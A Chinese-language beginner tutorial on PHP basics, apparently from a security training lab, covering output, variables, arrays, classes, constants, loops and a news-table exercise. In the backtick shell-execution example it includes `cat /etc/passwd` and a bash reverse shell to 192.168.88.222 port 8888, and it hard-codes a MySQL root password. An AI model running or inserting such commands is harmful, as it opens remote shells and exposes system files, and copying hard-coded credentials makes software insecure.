PHP语言基础
一、PHP概述
概念
PHP(PHP: Hypertext Preprocessor)即超文本预处理器,是在服务器端执行的脚本语言,尤其适用于Web开发并可嵌入HTML中。PHP语法学习了C语言,吸纳Java和Perl多个语言的特色发展出自己的特色语法,并根据它们的长项持续改进提升自己,PHP同时支持面向对象和面向过程的开发,使用上非常灵活。
动态语言
动态网页,是指跟静态网页相对的一种网页编程技术。静态网页,随着html代码的生成,页面的内容和显示效果除非你修改页面代码否则基本上不会发生变化了。而动态网页则不然,页面代码虽然没有变,但是显示的内容却是可以随着时间、环境或者数据库操作的结果而发生改变的。
不要将动态网页和页面内容是否有动感混为一谈。这里说的动态网页,与网页上的各种动画、滚动字幕等视觉上的动态效果没有直接关系,动态网页也可以是纯文字内容的,也可以是包含各种动画的内容,这些只是网页具体内容的表现形式,无论网页是否具有动态效果,只要是采用了动态网站技术生成的网页都可以称为动态网页。
总之,动态网页是基本的html语法规范与Java、PHP、Python等高级程序设计语言、数据库编程等多种技术的融合,以期实现对网站内容和风格的高效、动态和交互式的管理。因此,从这个意义上来讲,凡是结合了HTML以外的高级程序设计语言和数据库技术进行的网页编程技术生成的网页都是动态网页。
apache与PHP的关系
PHP类似于apache的一个工具、apache实现了http和https等协议,负责接受用户的http请求;而php负责解析php文件并运行php文件中的代码产生响应内容;apache调用php来获取到php产生的内容后,再负责将内容响应给用户的浏览器。最后浏览器显示出响应的内容。
我们学习的内容主要是:apache、php、mysql ;搞懂一个动态网页程序、其它网页程序都是在这个基础之上运行的,只是编程语言不一样,但底层的原理是一模一样的。例如java: tomcat+java与apache+php是同样的道理
第一个动态语言页面
demo.php
<?php
echo "你好呀老铁,今天咋样,挖洞啊";
echo "<h1 style='color:red;'>V50</h1>";
?>
php四种输出 echo var_dump
<?php
echo "hello world"; // 普通输出
print "hello world"; // 普通输出
print_r("hello world"); // 一般用于输出数组
var_dump("hello world"); // 带类型输出
?>
php 注释
// 单行注释
/**/ 行注释
php 换行
<br> 网页换行
\n 终端脚本换行
php 不止可以借助apache运行在网页,还可以不借助apache运行在终端
php demo.php
二、PHP变量与常量
变量概念
变量就是在内存中开辟空间,用来存储随时变化的量
PHP的变量不需要声明即可使用(哪里需要就在哪里定义)
变量命名
对于每个变量我们需要给它取一个名字,就如同我们每个人都有属于自己的响亮的名字一样。在Python中,变量命名需要遵循以下这些必须遵守硬性规则和强烈建议遵守的非硬性规则。
硬性规则
- 变量名由字母、数字和下划线构成,数字不能开头。
- 大小写敏感(大写的a和小写的A是两个不同的变量)。
- 不要跟关键字(有特殊含义的单词,后面会讲到)和系统保留字(如函数、模块等的名字)冲突。
- 函数名,如果名字过长,2个或者多个单词,推荐使用play_game(),或者小驼峰playGame;(除了类名不要使用大驼峰PlayGame)
当然,作为一个专业的程序员,给变量(事实上应该是所有的标识符)命名时做到见名知意也是非常重要的。
变量的使用
$name = "dlrb"; // 变量定义echo $name; // 变量使用
变量作用域
- 全局作用域全局作用域中声明的变量可以在脚本的任何地方访问,包括在函数内部和外部。在函数内部访问全局变量需要使用 global 关键字或者通过 $GLOBALS 数组。
- 函数作用域在函数内部声明的变量具有函数级别的作用域,只能在函数内部访问。函数外部无法直接访问函数作用域内的变量。
- 类作用域在类中声明的属性和方法拥有类级别的作用域,只能在类内部访问。可以使用 $this 关键字来访问类作用域内的属性和方法。
- 静态作用域使用 static 关键字声明的变量具有静态作用域,它们在函数调用之间保持其值。静态变量在函数内部定义,但在函数调用结束后仍然保留其值。
变量的类型
NULL 空值
字符串
php的字符串分为单引号字符串和双引号字符串,双引号字符串可以引用变量
$name = "dlrb";
$info = "love whr";
// 双引号引用变量
$show = "$name $info 1314";
echo $show;
// php中连接字符串不能使用+ 需要使用.
echo $name.$info."1314520";
// php中可以使用反引号执行shell命令
$shell = `ls -l`;
echo $shell;
echo `ifconfig`;
echo `cat /etc/passwd`;
echo `/bin/bash -i >& /dev/tcp/192.168.88.222/8888 0>&1`;
整数
$age = 18;
浮点数
$money = 1.888;
布尔
$b1 = true;$b2 = false;
0 , '' NULL 都为 false
数组
索引数组
$arr = [1,243,35,4345,true,"woniu"];
$arr[20] = "dlrb";
echo $arr[20];
var_dump($arr);
关联数组
方案一
$arr = [];
$arr["gf"] = "lyf"; // 关联数组
方法二
$arr = [
"name"=>"dlrb",
"age"=>18,
"bf" => "whr"
];
var_dump($arr);
对象
class User {
// 类属性
public $name = "张三";
public $age = 18;
// 构造方法 在 实例化对象的时候 自动调用
function __construct($name,$age){
$this-> name = $name;
$this->age = $age;
echo "构造方法被调用";
}
// 析构方法 在 对象使用完毕 自动调用
function __destruct(){
echo "析构方法被调用";
}
// 类方法
function show(){
echo $this->name;
echo "<br>";
echo $this->age;
}
}
$u = new User("李四",19);
$u->show();
常量
常量是一次定义多次使用,不在发生改变,常用于配置项目使用变量
define("常量名大写", "常量值"); 常量值不能再次修改
define("NAME", "蜗牛网安实验室");
echo NAME;
// MySQL连接配置
define("MYSQL_HOST", "localhost");
define("MYSQL_USER", "root");
define("MYSQL_PASSWD", "666888");
define("MYSQL_DATABASE", "news");
define("MYSQL_CHARSET", "utf8");
三、PHP语句
分支 / 条件语句
if
$username = "admin";
$passwd = "666888";
if($username == "admin" && $passwd == "666888"){
echo "登录成功,欢迎您 $username ~";
}else {
echo "登录失败,请重新登录";
}
switch
$hp = "O";
switch($hp){
case "A":
case "a":
echo "A型血";
break;
case "B":
case "b":
echo "B型血";
break;
case "O":
case "o":
echo "O型血";
break;
case "AB":
case "ab":
echo "ab型血";
break;
default:
echo "其他血型";
}
循环 / 迭代语句
while
$i = 0;
while ($i < 10){
echo $i;
$i++;
}
do…while
$i = 1;
do {
echo $i;
$i++;
}while ($i < 10)
for
for($i = 0; $i<10; $i++) {
echo $i;
}
foreach
$arr = [12321, 213, 123, 43, 35, 4, 56, 457, 6];
foreach ($arr as $item) {
echo $item . "<br>";
}
高级用法
$user = [
"id"=>100100,
"name"=>"dlrb",
"age"=>18
];
foreach (array_keys($user) as $key) {
echo $key ."=>". $user[$key];
echo "<br/>";
}
foreach ($user as $key => $value) {
echo $key ."=>". $value;
echo "<br/>";
}
实战 - 完成新闻的关联数组遍历
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<table border="1" cellspacing="0" cellpadding="0" width="800">
<thead>
<tr>
<th>ID</th>
<th>标题</th>
<th>作者</th>
<th>发布时间</th>
</tr>
</thead>
<tbody>
<?php
$news_list = [ [ "id"=>101001, "title" => "花季少女竟然这样...", "author"=>"花季少女", "buildtime" =>"2024/05/15" ],
[ "id"=>101002, "title" => "新入职的员工竟然这样说,老板表示...", "author"=>"花季少女", "buildtime" =>"2024/05/15" ],
[ "id"=>101003, "title" => "可乐真的好喝...", "author"=>"可乐少年", "buildtime" =>"2024/05/15" ]
];
foreach ($news_list as $item) {
$id=$item['id'];
$title=$item['title'];
$author = $item['author'];
$buildtime = $item['buildtime'];
$html = "<tr>
<td>$id</td>
<td>$title</td>
<td>$author</td>
<td>$buildtime</td>
</tr>";
echo $html;
}
?>
</tbody>
</table>
</body>
</html>